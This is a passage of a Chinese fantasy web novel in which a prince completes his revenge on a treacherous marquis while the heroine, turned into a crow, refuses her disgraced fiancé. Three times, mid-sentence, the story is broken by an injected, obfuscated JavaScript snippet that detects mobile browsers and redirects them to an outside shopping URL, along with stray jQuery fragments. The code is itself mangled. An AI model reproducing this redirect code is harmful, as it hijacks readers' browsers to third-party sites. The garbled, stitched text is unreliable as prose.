“属臣?主君贤明,则属臣忠心,主君奸佞,属臣自然可以背叛。”殷流光反唇相讥。
“当初大王步步紧逼招揽我,并不是真心的,只是因为我在茶肆好心提醒你,那白蛇很有可能在琼池楼筑巢,大王便是听了这话,又因我跟祁承筠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986119|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走得近,怕我推出更多信息全都告诉祁承筠,坏你计划,所以才要从中阻拦,先下手为强让我变成你的人,我知道的所有信息都会告诉你。”
被咒术束缚的白蛇听了这话,疯狂扭动起来,像是不准殷流光污蔑商遗思。
殷流光却一把擦去唇上鲜血,狠狠按在兽皮上,道:“君平,你中了我的咒术,如今我才是你的主君!”
“我命你变成巨蟒,缠住襄王,让他动弹不得!”
白蛇骤然在瞬间膨胀,痛苦地滑了过来,鳞片上暗红咒文不断闪烁,如锁链般拽着他庞大的身躯,一圈又一圈缠住商遗思的双腿。
商遗思呼吸困难,艰难从齿缝中迸出话来:“殷流光,今夜你想如何?”
如今局势已经是殷流光占上风,她撑着站起身,走到桌前,隔着桌案跟商遗思对视。
她唇上血迹仍在,一双眸子寒得发亮。
像带刺的玫瑰,自以为能掌控,却会在她低头俯首的瞬间,被她露出的刺狠狠扎手。
这才是她真实的模样,剥去所有伪装的讨好、温柔、娇媚、奸诈的假面之后,竖起全身的刺,锋芒毕露,睚眦必报。
“我知道广平侯应是真的与鬼方勾结,罪不可赦,襄王想要翻出这件案子定他的罪,我无话可说,但是,”她顿了顿:“祁承筠是无辜的,我要祁承筠平安。”
“我要你跟我再次做一笔交易。”
“告诉我你接下来的计划,打算怎么对侯府出手,我不会干涉你对付广平侯,但我要确保祁承筠能活下来。”
她宁可食毒草自伤,还要撑着威胁自己,做这么深入虎穴冒险的事,把自己生命放在岌岌可危的位置上,都是为了她的未婚夫。
倒是对他知恩图报,有情有义得很!
商遗思目光闪动:“本王没记错的话,你只是贪图他的侯府富贵,如今为他做到这一步,为什么?”
“这与大王何干?”
女子寒星一样的眼眸盯着自己,毫不掩盖其中的愤怒。
看来她是真的很记仇,知道自己从头到尾都做了他的掌中棋,气坏了。
商遗思忽然冷笑一声,一抬手,白蛇就缩回原本大小,从他腿上骤然滑落。
“怎么会……?”
殷流光大惊,眼前视线一花,商遗思隔着桌案,伸手掐住了她的脖子,冷沉的眸光居高临下地俯视她。
“金错刀、马蹄金,五行珠、辟寒玉……殷四娘子,你说那卷书只有上半卷,看来你又骗了一次本王。”
“只是你以为……全天下只有一本书上,记载着操纵之术吗?”
鼻尖闻到沉香木的馥郁香气,脑子里有根弦蓦然断裂,她想起天书上所说——
驭兽之术,可分为香术、音术、咒术……
他的宅邸那么朴实无华,却摆放着精致香炉,他的衣袍上,不论何时何地,都有着独特香味。
那条可以随心所欲变化大小的白蛇,明明也是方外兽,却可以在处处是法阵的侯府中随意行走的默玄……
初次在襄王宅见到商遗思时,他摆弄的文字香篆……
是香术……!
想明白这点,她手中兽皮滑落,蓦然晕了过去。
男子身形极快,在刹那间抱住她的身体。
他的指腹划过她的脸,眸光平静:“驯养的鸟儿若是不听话,剪掉羽毛就好了。”
“对吗,殷四娘子?”
28. 千秋岁宴
夜神司很快就有了审出来的供词。
鬼方咒巫开始还宁死不屈,但伏月能当上道长,靠的也不只是高深道术。
很快咒巫就招供,四年前是她携带金银财宝贿赂广平侯,重金求取风罗国的边防图。
风罗是夹在大盛与鬼方之间的小国,地处大盛陇幽之西,鬼方王庭之东,正如鬼方信奉狼神,风罗便是奉白蛇为神。
四年前,风罗已经被商遗思劝降,举国投靠大盛,献上边防图作为投靠的诚意,但却被广平侯暗中盗取卖给鬼方,导致风罗被鬼方灭国吞并。
以风罗国为后援阵地,鬼方再次反扑陇幽,意欲重新将陇幽抢夺回去。
战火因此重燃,大盛之土一寸也不可让,于是商遗思奉命领兵出征,这一次有了长安支援,漠北的鬼方全族尽灭,王庭一路飘零向西。
作乱的白蛇,就是当年侥幸留下性命的风罗王储缚哥。
他流落长安蛰伏多年,为的就是手刃仇敌。
鬼方咒巫听到是白蛇作乱侯府时,就知道是风罗人来报仇了,当年的事重新被有心人翻起,必定是要搅得天翻地覆,她一直在等广平侯重新找上她。
当年鬼方灭族后,广平侯担心贿赂一事暴露,派了杀手杀她灭口,幸好她有幻兽之术,幻成苍狼,却被没见识的长安人当做是野狗,竟这么一路逃到了鬼市,保下性命。
只是没想到如今竟被人做了局一网打尽。
天子震怒,将这供词扔给太子看,太子一向尊敬信任广平侯,却也无法容忍他有叛国之举,忍不住红了眼,艰难地说叛国之徒,理应诛杀。
却被养病归来的长公主拦下了。
长公主在朝中一向因着天子信任,威风无量,太子在她面前就像个任她欺凌的小猫崽子,人人皆知,若非广平侯为保住东宫费尽心机,太子早就被算计没了。
广平侯可谓是长公主的眼中钉肉中刺,这次一反常态为他求情,连天子也吃惊。
长公主道:“虽然我与广平侯向来不和,但通敌叛国,可是诛九族的重罪,需要慎之又慎,如今证据不足,只有一把狼首匕首能证明广平侯与鬼方有联系,未免太过儿戏。”
她吟吟笑道:“更何况……今年陛下所获麒麟,广平侯堪称首功,他是第一个发现麒麟的人,若是这么草率地治了罪,恐怕对陛下名声有损。”
“不如暂且收押,交给三司审理,若确有其事,再判罪不迟。”
天子对这位长姐颇为信任,就是因为她向来所思所想,都能切中天子心事,他的确因为广平侯获麟之功而犹豫不定,加上证据的确过少,便点头,应允了长公主所说。
又对太子斥道:“还不滚下去查封广平侯府?”
太子连忙起身应了。
三司审理颇要费些功夫,在此期间整个侯府都被软禁待罪。
殷家急忙想撇清关系,以为殷流光也被软禁在侯府,不敢上门将她接回,就这么不问不闻,当做没这个女儿。
……
时间一晃而过,很快来到千秋节这天。
千秋节是天子生辰,按例要在西内兴鹭宫举行寿宴,天下百姓皆可同乐三天,称为千秋节宴。
兴鹭宫花萼亭中,众臣献了万寿酒,长公主与太子、寿昌公主也各献了礼物,天子大悦,赐群臣“千秋镜”。
这麒麟方胜千秋镜是天子因着今年秋狩获麟而特意打造的记功镜。遍赐群臣,可见他分外满意这项功绩,自然也会记得为他献上麒麟,让他功德隆盛,青史留名的祁君疾。
拿到这镜子的众臣对视几眼,有聪明的立刻便明白,若三司审理仍是没什么确凿证据,只怕广平侯的位置不会被轻易动摇。
只要他不倒,太子就还有与长公主抗衡的能力。
但若是他倒了……数年之后,或许大盛便要有第三位女帝。
赐镜后,各色伎乐鱼贯而入,琵琶胡琴声中,寿昌十分好奇地凑过来,问他:“望尘哥哥,你来赴宴怎么还带只乌鸦啊?”
兴鹭宫是长安南郊的离宫,规矩不比大明宫森严,这里本就豢养着各色仙鹤、孔雀和白鹭,供贵人观赏,商遗思带只乌鸦,倒也什么引人注目的。
奇异的是,这乌鸦的脖子上竟然系着五彩璎珞,其上坠满宝珠,在乌黑的羽毛间熠熠闪光。
乌鸦似通灵性,见寿昌凑过来,立刻双眼放光,朝她急切跳跃了几步,还没跳过去,就被商遗思捏住了脖子。
“山君新抓来的宠物,翅膀受了伤,我瞧着她在家里待着闷,便带她出来开开眼界。”他淡淡道。
寿昌“哦”了一声,啧啧称奇:“看来你很喜欢这只乌鸦,给它打造了这么精巧的璎珞,回头我也让少府监给我的雪娘鹦鹉造一件!”
自从上次修墙一事,寿昌连着往襄王宅跑了五六日后,就立刻幻想破灭,歇了对他的心思。
她以为的襄王,战时英姿勃发,乃是天下无双的冷面战神,闲时燕居便钻研兵书,弹琴焚香,如巍巍玉山,仰之弥高。
但这几天见到的告病燕居的襄王,不是撸袖子给山君梳毛就是给兽苑的雪狮剪爪子,要么就是漫不经心听参军戏,没有丝毫银鞍照马,飒沓如流星的战神风度可言。
哪里比得上后来阿娘在雀屏后让她偷偷瞧的那些年轻公卿,清贵郎君。
立刻便深悔自己从前瞎了眼,将兴趣从商遗思身上转移了。
如今见面,便端庄平稳了许多。
寿昌离开后,殷流光求助她逃跑不成,恶狠狠在商遗思手臂上啄了一口,尤不解气,一抬爪子想掀翻他面前的莲花纹金酒盏闹出动静,企图让天子治他个寿宴失仪之罪。
但商遗思轻轻巧巧就将那酒盏挪到了一旁,从面前的果盘中摘了颗葡萄,剥皮后放在殷流光面前的金碟中,平静道:“莫给本王捣乱。”
殷流光简直要气死了。
那夜过后,她再次醒来,便惊恐万分地发现自己变成了乌鸦,脖子上套了个沉重无比的金璎珞,压得她飞不起来。
商遗思端坐在她面前,悠然调香:“殷四娘子,本王还从来没被人这么威胁过,你说,本王该怎么跟你算账?”
殷流光立刻扇翅膀想逃,但脖子上的璎珞太重,她忙活了一圈一点也没飞起来,转过身来盯着商遗思,梗着脖子道:“技不如人,我甘拜下风,只是我被大王当做棋子算计了这么久,没有功劳也有苦劳,还请大王给我个痛快。”
说完她就闭上了眼引颈待戮,却没想到听见一声轻笑。
疑惑地睁开眼,就看到眼前的男子凤眼微弯,似是被她逗笑了。
香雾袅袅,逸散的烟形宛如游龙,遮住他凌厉深邃的眉眼,却平添几分静谧的威严,他道:“能算计我,是你有本事,本王欣赏你。”
“冒着生命危险威胁我,是为了还恩祁承筠,如此有情有义,我为何要杀你?”
顿了顿,他掀起眼帘,看向桌上愣住的乌鸦:“不仅不杀你,我还要让你这颗废棋陪在我身边,看我下完这局。”
随后,她就被商遗思养在了襄王宅。
他的香术已臻化境,每夜都会有婢女在她房中点上一炷香,这样她便能一直维持乌鸦的模样。
不到半个月,她就瘦了一大圈,从原本胖嘟嘟的乌鸦变成了瘦的可怜,一只手就能握住的乌鸦。
原因无他,不禁吃不惯岑媪做的漠北风味的饭,更是每天被商遗思逼着喝清毒的药,喝得胆汁都快吐出来了,十分怀疑他是用这种办法挟私报复。
商遗思以为她在绝食,亲自盯着她吃饭,但岑媪做的石子饼实在太硌牙,殷流光用鸟喙啄了半天,只啄下几块碎屑,吃了几口就不肯再张嘴了。
商遗思皱眉:“不论什么时候都不应该拿饿肚子赌气,除了伤害自己还能伤到谁?”
“那我也不会吃我吃不习惯的饭,太痛苦了,你还不如把我杀了!”殷流光梗着脖子拒绝。
被盯了好一会,听见商遗思起身离开,过了一会,默玄便送来了琼池楼的点心和菜肴,样样都是琼池楼主厨最拿手的招牌。
离开的时候给她竖大拇指:“你可真是绝了,殷流光,算计了大王,君平恨不得把你杀了,你还能每天在这里吃好喝好优哉游哉,佩服,佩服。”
……
一直到千秋宴这天,商遗思带着她来了兴鹭宫,说是看好戏,但寿宴都快结束了,许多大臣都已经喝得醉醺醺,离开坐席融入舞伎之中,跳起胡旋舞了,还没见到商遗思说的好戏。
“陛下,麒麟……是不是可以请出来了?”长公主含笑问道。
天子颔首,亦是兴致颇高:“上次秋猎阿姐养病未去,今日正好,也让阿姐看看这瑞兽的模样。”
他身侧侍立的大监拍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986120|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手,很快便有裹着红绸的巨大木笼被运了过来,内侍满脸堆笑,掀开红绸,贺道:“瑞兽在禁苑每日好吃好喝地供养,又长大了许多,如今越发高大威猛,足见陛下福泽深……”
只是尖细的声音却顿时被巨大的兽吼声遮盖。
“你们快看,麒麟、麒麟发狂了——”
有人指着骤然咆哮,扑开笼子的麒麟颤巍巍喊道。
宴中顿时乱作一团。
麒麟庞大的身影顶开笼子,似白色麋鹿的巨大脑袋撞翻内侍,直直冲向天子。
速度之快,身形之恐怖,御前的金吾卫都来不及拔刀,眼睁睁看着狼爪一样锋利的利爪从天而降。
电光火石间,响起横刀出鞘的声音,大殿四周悬挂的彩绸应声而落遮住麒麟身形。
商遗思飞身而上,以横刀反身抵住麒麟疯狂挥舞的前爪,向左右金吾卫怒喝:“护住陛下快走!”
话音刚落,麒麟便仰天怒号,前蹄疯狂挥舞不休,将遮住脑袋的彩绸撕了个粉碎,漫天碎片中,巨大的鹿头直直顶向商遗思,却被他刺了一刀,吃痛不已,脑袋一歪朝旁撞去。
殷流光早就在麒麟撞翻笼子的时候就想跑,无奈璎珞太重飞不起来,此刻躲在金盏后面,瞧着麒麟径直冲自己来,惊得连滚带爬,拼命向桌子底下跳。
就在腥风扑面而至的时候,她骤然被男人揣入怀中,只听一声吃痛闷哼,随后商遗思快速翻滚落到亭外,大喝一声:“金吾卫,迷香箭!”
数声箭鸣,箭头裹着巨量迷香的赤羽箭掠空而至刺入麒麟后腿,它哀鸣一声,摇晃良久,最终缓缓倒了下去。
一片狼藉中,殷流光从商遗思胸口探出半个脑袋观察四周。
麒麟倒在地上,五彩斑斓的羽毛有气无力地耷拉着,亭内杯盏倾颓,食物和酒翻了一地。
撒航意思撑着横刀站在亭外,浑身是血,殷红血迹洒在他眉宇,与漆黑冰冷的眼瞳相映,如同大白天就现身的索命恶鬼,浑身阳光照在他身上,没有半分暖意。
如此不讶异不惊慌,她还有什么不明白的?
她在他胸口轻声道:“大王,今日这局,是你为广平侯准备的最后杀招吗?”
他微微低下头,跟用爪子攀着他胸口的乌鸦对视,淡漠地勾起唇,明明是个一闪而过的笑,却在鲜血的映衬下显得极艳:“殷流光,本王布的杀局,可不止这一个。”
……
千秋节宴,麒麟却无缘无故发疯,天子无比震怒,下令彻查。
很快就有了结果。
麒麟不是真麒麟,而是凝华山上一头活了十数年的白麋鹿,身上的五彩羽毛是被用混了贝壳珍珠粉的染料染上去的,狼蹄牛尾也是人力刻意而为。
当时谁都没有发现,也是因为能长这么大的麋鹿确实少见,几乎算是成精,而它身上在阳光下微微闪光的五彩羽毛更是让人一见便下意识以为是祥瑞。
至于造假者是谁,大理寺很快查到了凝华山中的老猎户,老猎户证言,在秋猎前的一个多月,有人提前来山中寻过体型巨大的麋鹿。
顺着这条线索往下查,查到了当初寻鹿之人,正是广平侯家仆。
广平侯献麟,从头到尾都是一个谎言。
骤然暴起扑向天子,也是因为宴上有鹿肉炙,它闻到同类气息是以发疯。
还不及处理这件事,商遗思便向天子禀告了另一桩事。
就在千秋节这天,天子东宫,王亲贵族,包括全京城的百官重臣都在兴鹭宫,整个金吾卫精锐自然也被尽数调往兴鹭宫。
关押着鬼方咒巫和白蛇的夜神司被人趁虚闯入,将咒巫与白蛇尽皆灭口。
幸好商遗思协助伏月道长布置的暗探抓住了行刺者,严刑逼供之下,行刺者招供,是受广平侯指使。
原本他咬死不认,或许还有转圜余地,可派了刺客灭口,却反而做实了他当年的确与鬼方勾结,泄露军机。
铁证之下,广平侯通敌叛国之罪板上钉钉。
被判诛三族。
商遗思负伤跪地,请旨亲自监刑,为四年前风罗一战中死去的将士们祭魂。
这次他挺身而出,以一己之身护住天子安危,天子对他更加宠信,无有不应。
……
半个月后,广平侯府的子夜。
纸钱漫天,照出一张索命恶鬼的脸庞。
29. 往事成灰
祁君疾以军功累迁勋爵,军中素有威望,天子特令秘密处死,以免军中生变。
他蓬头垢面,身着囚衣,双手被缚跪坐在中庭,瞧见眼前人的模样,不由冷笑:“商遗思,我早该猜到这一切都是你谋划的。”
“从秋狩获麟开始,你就诱导我踏进了你布下的杀局之中,先是让我献上麒麟,让陛下大悦,让我风头无量在长安出名,又让白蛇在我侯府犯案,引夜神司追查,找到鬼方咒巫,翻出四年前我跟鬼方的交易……”
“只是我做事向来谨慎,除了一把匕首,就再也没有能证明我跟鬼方有过往来的证据,所以你设计让我献麟,又在千秋节这天让假麒麟发狂,让我变成一个彻头彻尾的欺君罪人!又故意抽调走夜神司的守卫,派人埋伏我,抓住我派去灭口的杀手,这样双管齐下,就算关键证据缺失,我也难逃一死。”
这几天,他早已想明白了一切!
“我说得对否,襄王殿下?”
一身素衣白冠的商遗思坐在他面前,假麒麟那一爪让他伤得很重,他唇色苍白,神情冰冷淡漠,君平站在他身边,左眼的黄金瞳透着彻骨的寒冷。
他冷哼一声,咬牙切齿:“不这样,怎么能让你为自己做过的事付出代价!”
“风罗王储?你不是该跟着鬼方咒巫一起被夜神司处死了么?……看来,是襄王偷天换日,救了你。”祁君疾眼皮未抬:“本侯也很想知道,你是什么时候,跟襄王勾结在一起,要陷害本侯的?”
“与鬼方勾结灭我风罗,让鬼方趁机出兵大盛,又在京师设计纵火烧死主上至亲,想让他作战之时心智大乱从而兵败,桩桩件件,哪一件陷害了你!”
君平双目几乎喷火,咬牙切齿数出祁君疾的罪行。
那年风罗国破家亡,他被忠心的臣子掩护逃往王庭外,在一处村落里暂时栖身,却被鬼方人屠了村子,挨家挨户地找到他,收留他的一家三口、还有一直护着他的老臣全死在他面前,鬼方人的弯刀对着他高高举起,他心里满是透骨的寒冷和绝望。
就在那时,眼前蓦然一白,再恢复意识的时候,屋子里的鬼方士兵已经全部横死眼前,他跌跌撞撞走出门,在水井里望到了自己如今的模样。
黄瞳白蛇,一如风罗供奉的蛇神。
一定是蛇神显灵附身,让他能为死去的亲人和风罗所有亡魂报仇。
他借着黄沙掩护,找到了鬼方右亲王的帐篷,滑行而入想要咬死他,却反被抓住,差点被鬼方的右亲王扔进釜中做蛇羹的时候,外头喊声震天,骤然有无数火光晃动。
有人大喊:“大盛、大盛襄王攻进来了!”
是襄王杀了右亲王救了他,看到他也不吃惊,只是向还是一条狼狈白蛇,匍匐在地上的他伸出手:“风罗灭国之事蹊跷,我怀疑长安有人与鬼方合谋,缚哥,跟我去长安,找到幕后真相,为你的亲人和百姓报仇。”
在长安,襄王为他取了个新的掩人耳目的名字,叫做君平。
祁君疾却蓦然哈哈大笑起来。
“果然,什么叛国之罪,襄王,你从来都不在长安长大,又如何会因为我的一桩陈年旧案如此苦心设计?”他笑够了,收了声,带着恶毒的神情看向商遗思:“你果然是为了四年前那桩纵火案,来向我复仇的。”
“可惜啊,当时你在前线,不知道那一晚商遗念和商遗梦葬身火海的时候,有多痛苦绝望。”
一直一言不发的商遗思缓缓起身,走到他面前,面无表情:“我为他们收敛尸骨,怎么会不知?”
“祁君疾,自我来到长安,自问从未得罪过你,你却因替太子招揽我不成,就与鬼方密谋陷害我,想让我在前线大败,你再带兵驰援立功。”
他说得很平静,祁君疾抬头,卸去了官服锦袍的他,此刻只是个皱纹横生的老人,他表情阴狠:“是又如何?你我同为军功起家,我是侯爵,你却是异姓王,凭什么?我为大盛鞠躬尽瘁,拼得一身伤的时候,你在哪?”
“若是你肯听我招揽,归顺太子也就罢了,偏偏四年前的你倨傲无比,不禁拒绝了太子,还拒绝了长公主,偏要自立门户做第三股势力!若是再让你打一场胜仗,这朝堂上还怎么有太子的立足之地?他若不能登基为帝,我要如何立功凌云阁!”
“为了我的名留青史,只能请你的弟妹去死了,商遗思,他们是因你而死的啊!要不是你太骄傲,太自信,在朝堂上得罪这么多人,何至于襄王宅起火之时,满街勋贵,无人肯救!”
“所以今时今日,这条街上除了我襄王宅,还有哪个世家大族?”商遗思说得轻描淡写,但祁君疾却蓦然睁大了眼。
“齐家、上官家……还有杜家,都是你,都是你设计陷害灭族的?!!”
商遗思眼底浮现出积冰的彻寒,他蹲了下来,看向祁君疾:“是啊,如今,只剩下你这个真正的罪魁祸首了。”
“旧账既然都算清楚了,今日本王便是奉陛下之令,请侯爷上路的。”
商遗思起身,祁君疾丝毫不惧,平静问道:“鸩酒在何处?”
没想到眼前人竟然笑了。
笑得冰冷,无情。
“鸩酒?岂非太便宜你。”
他唤了声君平,君平将酒壶递给商遗思,他打开酒盖子,将酒兜头洒在了祁君疾身上。
“吾弟吾妹所受之痛,我要你百倍偿之。”
他转身,君平将火折子扔到了祁君疾身上,商遗思倒的是烈酒,火苗几乎立刻就窜了起来。
身后的惨叫声中,商遗思一步一步走远。
走过冰冷四年,走过到处都是浮灰白烬的庭院,走到他连盔甲都来不及卸下,踉跄着奔到在断垣残壁的凉亭内,见到的两具不成人形的焦骨面前。
临别时他们说:“阿兄,这一次回陇幽,带一支灵朔城的胭脂花回来吧。阿娘最喜欢用这花做唇脂了,你带些回来,阿娘祭日那天,我们给她供一盒新的唇脂。”
他应了,在灵朔城外的山坡上亲自采了一大蓬最艳最旺盛的胭脂花,放在清水瓮里养护,到长安的时候,花瓣还是宛如刚刚采摘下来的那样鲜艳欲滴。
只是没有人接过了。
“襄王,这一切都是我罪有应得,我儿无辜,天子已经网开一面留他性命,求你……不要迁怒他。”
大火吞噬了人形,只留下破碎不成调的哀求。
商遗思一步未停,径直走出了侯府。
……
襄王宅中,殷流光守在床前。
床上的男子似是在做噩梦,满头大汗地呓语不断:“阿耶,不要再一错再错了!向陛下陈情谢罪吧,儿陪你一起死!”
话音落下,他猛然坐起,喘息着茫然四顾,尚不知自己身在何处,床畔传来女子关怀的声音:“世子,你醒了?”
祁承筠转头,便瞧见守在床边的殷流光。
他怔了怔,只记得在阿耶将所有事都告诉自己后,他大受打击,一生信念都在此刻崩塌,跪下来拽住阿耶的袍角,求他去面圣谢罪。
他与鬼方勾结挑起战火,辜负了天子,辜负了东宫,更是辜负了边关无数为此而死的将士和百姓,他愿意陪阿耶赴死赎罪,只盼他不要再执迷不悟,一错再错。
可阿耶却恨铁不成钢地长叹一声,派人将他拉下去囚禁了起来。
每日送来的饭里有软筋散,他昏昏沉沉,不知过了多久,再睁开眼时便是此刻。
“这里是哪里?我阿耶呢,他怎么样了?”
一连串急切的问题抛向殷流光,她先将安神的药递给他,哄他喝下,瞧着他情绪渐渐平稳下来,才挑着紧要回答。
“这里是襄王宅,你被广平侯遣人秘密送出京城,但城门四处守卫森严,一旦被发现你私逃出府,定是死罪。”
“襄王在半路截下了你,将你带来了这里。”
“至于广平侯……”殷流光抿了抿唇,缓缓道:“欺君叛国,天子赐斩立决,但太子为你求情,你的外祖父也在蓬莱殿外长跪,亲自以性命为你担保,你被免了死罪,只是没了爵位,成了庶人。”
祁承筠唇色苍白,双手紧攥被角,低声问道:“行刑日……在何时?”
“今夜。”
“只怕此刻,广平侯已经……伏法。”
他浑身一颤,红了眼眶,强忍着不在殷流光面前失态,平复良久,慢慢道:“我阿耶害了遗念遗梦,望尘恨阿耶设计他……这是阿耶种的因,结的果,我是他的儿子,他的罪就是我的罪。”
他转头望向殷流光,惨然一笑:“他把我囚在这里,打算什么时候杀我?”
“四娘,你又是何时……跟他走到了一起?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986121|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
祁承筠只是被养得太磊落光明,太单纯善良,他并不傻,睁开眼看到殷流光出现在襄王宅,便明白了一切。
殷流光摇头:“世子,襄王不想杀你,等你醒来,会有人送你离开回你的外祖父家,不论如何,那里都有你的容身之地。”
“我也没有跟襄王走到一起,我只是……受他所托来照顾你,他怕你悲伤过度,寻了短见。”
千秋宴后,殷流光知道广平侯算是走到了头,她担心商遗思会不放过祁承筠,一直飞在他身后叽叽喳喳,不知费了多少口舌,商遗思一句话都没搭理她!
直到今日,她醒来时发现自己恢复了人身,婢女为她穿好衣服后,她便被默玄带到了这间屋子,看到了祁承筠。
商遗思最终选择放过了祁承筠。
或许是不想这世间还记得商遗念和商遗梦的人再少一个吧。
“哈……哈哈哈哈……他连最后一条路都不肯留给我?他就恨我至此?”祁承筠双目猩红,惨笑出声,猛然俯身吐出一大口血。
此刻他心绪郁结,自己说什么都是火上浇油,殷流光默默取下帕子递给他,祁承筠的脸上原本总是温和含笑,如今满是心死如灰。
“四娘,我知道事到如今,我已经没有资格要你我的婚约继续下去……我也知道,你从来都没有喜欢过我,你利用我,只是为了逃离殷家。”
“但都没关系,我喜欢你就够了,我会对你好,精诚所至,金石为开,慢慢地你也会喜欢上我,我们会像世间最寻常恩爱的夫妻那样度过一生。”
“可是如今……”他凄惨一笑:“四娘,就这一件事,算是看在我们定亲一场的情分上,你能不能……让我遂一次愿?”
祁家背负了叛国的罪名,他如何还能苟活于世,为今之计只有一死了之,也算是替阿耶为那些枉死的忠魂赎罪一二。
可殷流光却皱了眉,少见地生气。
“你死了就是赎罪了吗?”
见祁承筠愣了愣,她又加重语气重复了一遍。
“你死了,那些四年前死在风罗的将士们的家人,就能够得到你的赎罪了吗?”
“他们还是一样,痛失至亲,那些都是家里最年轻强壮的壮丁,没了他们,只靠着朝廷的抚恤金,他们这辈子只能过着捉襟见肘的生活,妻子需要一人承担两个人的农活,儿女蹒跚学步就要帮着家里做事,你一死了之,说着赎罪,只不过是自私懦弱,不敢承担他们的悲伤和怒火罢了!”
被她劈头盖脸一顿骂,祁承筠苦笑:“家产全数被没入官府……就算我有心想做些什么,也无能为……”
“那就活下去。”殷流光打断他满是苦涩的话语:“世子,你才华横溢,胸藏锦绣,明年的进士科,我赌你会是魁首,到时成了状元郎,自然青云直上,有能力为将士的家人们做些什么。”
“只要你活下去,就算此刻一无所有又如何,前路有那么多未知的风景,总有值得你停留的。”
祁承筠默然良久,久到床畔的一根蜡烛燃尽,红色的蜡泪滴落在金桐的烛台上,蜿蜒似血痕。
终于,他眼底有一星微弱的光芒被重新点燃,他伸出手,握住殷流光,低声道:“阿耶从前总逼我上进,总说我不够聪敏,不如望尘,我身边的那些朋友,嘴上逢迎,说即便不靠家里荫庇,我也能科举及第,但我知道没一个人真的相信我可以……四娘,只有你真的读过我写的诗文,也只有你相信我。”
“四娘,如果到时……我真的进士及第,那个时候,你还愿意做状元夫人吗?”
他目光殷殷地望着殷流光,等待着心上人的答案。
殷流光张了张嘴,最终将手从他的掌心抽了出来,看着她的动作,祁承筠的脸色慢慢灰白。
“世子,我祝你此生当如劲竹,不折不挠,永远一身潇然,傲立春风。”
“只是春风之中,不会有四娘……是吗?”
“……是。”
师父真的为她挑了整个长安城最好最温润的夫君,只可惜她试过了,他不是殷流光喜欢的郎君。
她骗了他的心,这些日子为他前后奔走,还他一条命,也算是恩怨两清。
殷流光从房内离开,关上门转身,却被站在庭院里的人吓了一跳。
“大王你怎么……这么快就回来了?”
30. 香灰尽散
商遗思白袍素冠,目如沉潭,沐浴在不染尘埃的月光下,整个人都像是一把落满霜雪的素剑。
“本王以为你会答应。”
“祁承筠已经不是金尊玉贵的世子了,我为什么要答应?”殷流光站在台阶上,跟商遗思遥遥相望。
“没了世子妃的位置,你就只能回殷家。夜神司寻踪觅迹的本事并不差,本王劝你回去之后,好好做人,不要再肆意妄为。”
殷流光摇头,走下台阶。
已是隆冬,地上结了层薄薄的凉霜,北风峭寒,她没有穿披风,在商遗思面前站定,耳朵冻得红红的,仰头看他。
“我不想回殷家,我想留在襄王宅,继续做大王的暗哨乌鸦。”
她露出十分坦然的笑脸。
“为了还债,我骗过大王一次,但大王从头到尾算计了我不知多少次,我们也算是扯平了,不如我们重新开始?”
她早就盘算好了,要是回了殷家,就算她有变化乌鸦的能力,也攒不够钱做金仙铃,外头更是有夜神司暗中搜捕方外兽,轻易出去不得,没有金仙铃护体,她不知道何年何月才能带着知意从殷家脱身。
但要是继续给襄王做事就不一样了,只看默玄和君平平时的衣着打扮便知道,商遗思对他的手下待遇都很不错。
在他手底下干,肯定比继续回家做殷家四娘有前途!
而且,他既然能庇护默玄和君平不被夜神司找到,自然也有能力庇护她。
殷流光的算盘打得啪啪响,而且她也很自信,商遗思不会拒绝。
默玄机灵却要跟随他在金吾卫中值守,无法随心所欲在长安城打探消息。
君平阴郁寡言,白蛇巨蟒都可幻化,更有蛇毒傍身,杀伤力极强,却总是一意孤行,缺少变通。
他手底下,缺一个能为他既能打探消息,又能快速分辨出哪些消息对他有利的人。
除了她这只乌鸦,还有谁最适合?
商遗思垂下眼帘。
自深秋至隆冬,明明才过了几个月,却好像漫长得有些刻骨铭心。
侯府中发现她腕间伤口时的下意识举动、琼池楼的软榻上,她窃走他鱼符时,看到她扬眉笑得满室生灿时,他心底那丝怔忪。
她那些巧笑倩兮的算计,真真假假的笑容,发现被骗后立刻报复回去的决绝……每一种模样,每一个表情,他竟然都清楚地记得。
仿佛在他不经意间,就狡猾地偷偷潜藏进他的心上,留下属于她的烙印。
他隐隐有预感,若是再多见些时日眼前女子灼灼的眉眼,总有一天,他和她之间会走到无法收拾的地步。
往事如沉香灰烬,风吹即散。
“可本王,不要算计过我的属臣。”
肃冷东风中,他转身离开。
不知不觉间,今年初雪无声降临,如一席巨大的白色珠帘,隔开商遗思和殷流光。
